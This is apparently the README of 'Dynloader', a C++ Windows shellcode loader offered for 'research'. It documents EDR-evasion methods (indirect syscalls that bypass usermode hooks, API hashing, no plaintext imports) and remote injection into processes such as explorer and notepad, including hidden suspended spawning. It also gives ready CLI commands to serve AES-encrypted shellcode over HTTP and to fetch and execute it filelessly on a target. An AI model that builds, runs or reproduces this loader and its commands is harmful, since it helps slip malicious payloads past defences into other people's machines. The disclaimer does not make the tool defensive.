Files
AbishekPonmudi-Dynloader/README.md
T
2026-07-10 11:56:50 -07:00

266 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Dynloader
**Modular Windows loader using C++**
For **[usage](#usage)** and **[testing / demo](#demo)**.
---
## Overview
**Dynloader** is a research-oriented Windows loader for studying how payload is delivered, staged, and executed in both **local** and **remote** process contexts. The current version supports shellcode staging only — planned work is under **[Planned features](#planned-features)**.
It can:
- Load shellcode from a local `.bin` file
- Fetch shellcode **filelessly** over HTTP (optional AES-256-CBC at runtime)
- Inject into a target by **PID** or **process name**
- Spawn a missing process **headless** (suspended + hidden), inject, then resume
Core evasion and resolution primitives are provided by **[Dynveil](https://github.com/Abishekponmudi/dynveil)** (`lib/`) — a reusable library that implements PEB/PE parsing, API hashing, Tartarus Gate indirect syscalls, section mapping, AES crypto, and HTTP transport. Dynloader is the CLI + ingestion orchestration layer on top of Dynveil.
---
## Disclaimer
This project is **for educational and research purposes only**.
It is designed to help understand:
- Windows PE internals
- Manual loading techniques
- Reverse engineering concepts
Do **not** use this software on systems you do not own or do not have explicit permission to test. The authors take no responsibility for misuse.
---
## Features
- **Manual PE mapping / parsing** — PEB + LDR walk and export (EAT) resolution without normal `GetProcAddress` name strings
- **Indirect syscalls via Tartarus Gate** — SSN extraction with **Hells Gate / Halos Gate / HellHell** style recovery when stubs look hooked; invoke via ntdll `syscall; ret` gadget
- **Section mapping** — `NtCreateSection` + `NtMapViewOfSection` / unmap as alternate staging path
- **Dynamic API resolution** — resolve modules and exports at runtime through Dynveil
- **API hashing** — djb2 hashes; no plaintext API names for resolved exports
- **AES-256-CBC** — encrypt offline; decrypt at runtime (file or fileless key fetch)
- **Local & remote ingestion** — self-process run or inject into another process
- **Fileless HTTP server/client** — serve and pull payload + optional key material
---
## Evasion techniques
| Technique | Feature |
|-----------|---------|
| **Manual PE Mapping** | Manual module + export resolution without `GetProcAddress` strings |
| **Indirect syscall via Tartarus Gate (Hell's, Halo's, HellHell)** | Indirect syscalls via ntdll `syscall; ret` gadget (bypasses usermode hooks on `Nt*` prologues). Halos Gate recovers SSNs when ntdll stubs are hooked |
| **API hashing** | Resolves exports by djb2 hash — no plaintext API names in the binary |
| **Section mapping** | `NtCreateSection` + `NtMapViewOfSection` as alternate staging backend |
| **Minimal IAT** | NT path via syscalls; Win32 only where needed (`CreateThread` / `CreateRemoteThread`, hashed) |
| **W^X staging** | `NtAllocateVirtualMemory` RW → write → `NtProtectVirtualMemory` RX (no RWX) |
| **Payload encryption AES-256-CBC** | Encrypted payload + dynamic key fetch (fileless) |
| **Fileless HTTP** | No payload file on disk at runtime — fetch from `/api/v1/payload` |
| **Headless spawn** | Target process started suspended + hidden before remote inject |
---
## Background — Dynveil
**[Dynveil](https://github.com/Abishekponmudi/dynveil)** is the shared research library under `lib/`. Dynloader does **not** reimplement every technique inline; it calls Dynveil modules for the heavy lifting.
**Repo:** https://github.com/Abishekponmudi/dynveil
What Dynveil provides:
- **Manual PE parser** — walk PEB → LDR lists, locate modules, walk the export address table
- **Dynamic API resolver** — hash-based export resolve (`kernel32`, `ntdll`, `bcrypt`, `ws2_32`, …)
- **Tartarus Gate** — SSN resolve (Hells / Halos / HellHell-style paths), build per-API **stubs**, jump to a shared ntdll **`syscall; ret` gadget**
- **Section map helpers** — create section, map view, protect, unmap, cleanup
- **Crypto** — AES-256-CBC key material, encrypt/decrypt, pack/unpack key blobs
- **HTTP transport** — minimal fileless client + in-memory server for lab delivery
---
## How it works
1. **Parse CLI** — mode: local / remote (`--process`) / fileless / server / encrypt / self-test.
2. **Init Dynveil syscalls** — Tartarus Gate builds SSNs + indirect stubs (shared ntdll gadget).
3. **Get shellcode**
- **Disk:** read `.bin` (or ciphertext if decrypt path applies)
- **Fileless:** `GET /api/v1/payload` and, if AES, `GET /api/v1/key` then decrypt at runtime
4. **Choose ingestion**
- **`--process` set → remote**
- **else → local**
5. **Local path**
- Stage in current process with indirect Nt\* (prefer alloc RW → write → protect RX; section map fallback)
- Execute with hash-resolved `CreateThread`, wait for exit
6. **Remote path**
- Target by **PID** or **process name** (works with many normal user-session binaries; no `SeDebugPrivilege` elevation assumed)
- Discover by name via **`NtQuerySystemInformation`** (SystemProcessInformation) over Tartarus Gate
- If name not running → **headless spawn** (`CREATE_SUSPENDED` + no window), inject, **ResumeThread**
- Open process: prefer **`NtOpenProcess`**, fallback hashed **`OpenProcess`**
- Stage: `NtAllocateVirtualMemory``NtWriteVirtualMemory``NtProtectVirtualMemory` (RX)
- Run: hash-resolved **`CreateRemoteThread`**
7. **Done** — local thread completes or remote thread is created; handles cleaned up.
Same staging/execution ideas apply whether bytes came from disk or from the fileless server.
---
## Building
**Prerequisites:** Windows 10/11 x64, MSVC C++ toolchain (VS 2019/2022/18 or **Build Tools** with *Desktop development with C++*). Internet + admin only needed for first-time auto-install.
```bat
build.bat :: Release x64 → x64\Release\loader.exe
build.bat debug :: Debug x64
build.bat clean :: Clean
build.bat --install :: Install minimal VS Build Tools if missing, then build
```
`build.bat` finds MSBuild via `vswhere`, picks a compatible toolset (`v145` / `v143` / `v142`), and builds `loader.sln`. On a machine with no compiler, `--install` pulls official Build Tools + C++ workload (winget or bootstrapper).
---
## Usage
```text
LOCAL
loader.exe <file.bin> [--verbose]
loader.exe --process <name|PID> <file.bin> [--verbose]
loader.exe --enc AES <file.bin> [--verbose]
FILELESS
loader.exe --fileless --source <host[:port]> [--verbose]
loader.exe --fileless --source <host> --enc AES [--verbose]
loader.exe --fileless --source <host> --process <name|PID> [--enc AES] [--verbose]
SERVER
loader.exe --server <file.bin> [--port 8080] [--verbose]
loader.exe --server --enc AES <file.bin> [--port 8080] [--verbose]
```
### HTTP endpoints (server)
| Path | Purpose |
|------|---------|
| `GET /api/v1/payload` | Shellcode (plain or ciphertext) |
| `GET /api/v1/key` | AES key material (when encrypted) |
| `GET /api/v1/health` | Health check |
---
## Demo
### 1) Self-test
```bat
loader.exe --selftest --verbose
```
Checks PEB resolve, Tartarus init path, and AES roundtrip.
### 2) Local shellcode
```bat
loader.exe payload.bin --verbose
```
### 3) Remote by process name
```bat
loader.exe --process notepad payload.bin --verbose
```
If `notepad` is not running, Dynloader spawns it headless, injects, resumes.
- Target by **PID** or **process name** (e.g. `notepad` / `1234`) — supports many legitimate binaries in the same session without elevation (`!SeDebugPrivilege` not required for same-integrity targets)
- Process discovery via **`NtQuerySystemInformation`** (SystemProcessInformation) over Tartarus Gate
- If the named process is **not running** → spawn **headless** (`CREATE_SUSPENDED` + no window), inject, then resume
- Remote stage: `NtAllocateVirtualMemory``NtWriteVirtualMemory``NtProtectVirtualMemory` (RX)
- Remote run: hash-resolved `CreateRemoteThread`
- Open target prefers `NtOpenProcess`, falls back to hashed `OpenProcess`
### 4) Remote by PID
```bat
loader.exe --process 4568 payload.bin --verbose
```
### 5) Encrypt + serve + fileless client
**Terminal A — server** (host shellcode remotely):
```bat
loader.exe --server --enc AES payload.bin --port 8080 --verbose
```
**Terminal B — client** (target machine, local run):
```bat
loader.exe --fileless --source 127.0.0.1:8080 --enc AES --verbose
```
**Terminal B — client** (target machine, remote inject):
```bat
loader.exe --fileless --source 127.0.0.1:8080 --enc AES --process explorer --verbose
```
### 6) Offline encrypt only
```bat
loader.exe --enc AES payload.bin --verbose
```
Writes `.enc` + `.key` next to the input for lab packaging.
---
## Planned features
- **Manual PE loader** — full PE / DLL support alongside shellcode (`.bin`)
- **Manual DLL loader / remote DLL ingestion** — map and run DLLs in local or remote processes without relying only on raw shellcode blobs
- **Threadless execution** — move off classic thread APIs toward [thread pool](https://oioio-space.github.io/maldev/techniques/injection/thread-pool.html) based execution
- **Full section mapping** — prefer section-based staging over native thread-centric paths where possible
- **Section storming** — multi-section staging patterns for research labs
- **HTTPS encrypted channel** — harden fileless delivery from plain HTTP to HTTPS
---
## Project layout
```text
.
├── loader/ # Dynloader — CLI, modes, local/remote ingestion
│ ├── main.cpp
│ ├── cli.cpp / cli.hpp
│ ├── loader_core.cpp / loader_core.hpp
│ └── ingestion.cpp / ingestion.hpp
├── lib/ # Dynveil — https://github.com/Abishekponmudi/dynveil
│ ├── common/ # hashes, logging, NT types
│ ├── pe/ # PEB / PE / EAT parser
│ ├── resolve/ # dynamic API resolution
│ ├── syscall/ # Tartarus Gate indirect syscalls
│ ├── memory/ # section map + staging helpers
│ ├── crypto/ # AES-256-CBC
│ └── net/ # fileless HTTP client/server
├── tools/ # helpers (e.g. hash dump)
├── server.sh # optional server helper script
└── README.md
```
---
## Notes
- Indirect syscalls cover Dynveils **Nt\*** table (memory, open, process enum, sections) — not every Win32 call.
- Local execute uses hashed `CreateThread`; remote uses hashed `CreateRemoteThread`.
- Fileless transport is plain HTTP today (lab-oriented); HTTPS is planned.
---
## License / ethics
Research & education only. Use on lab VMs you control. Stay legal.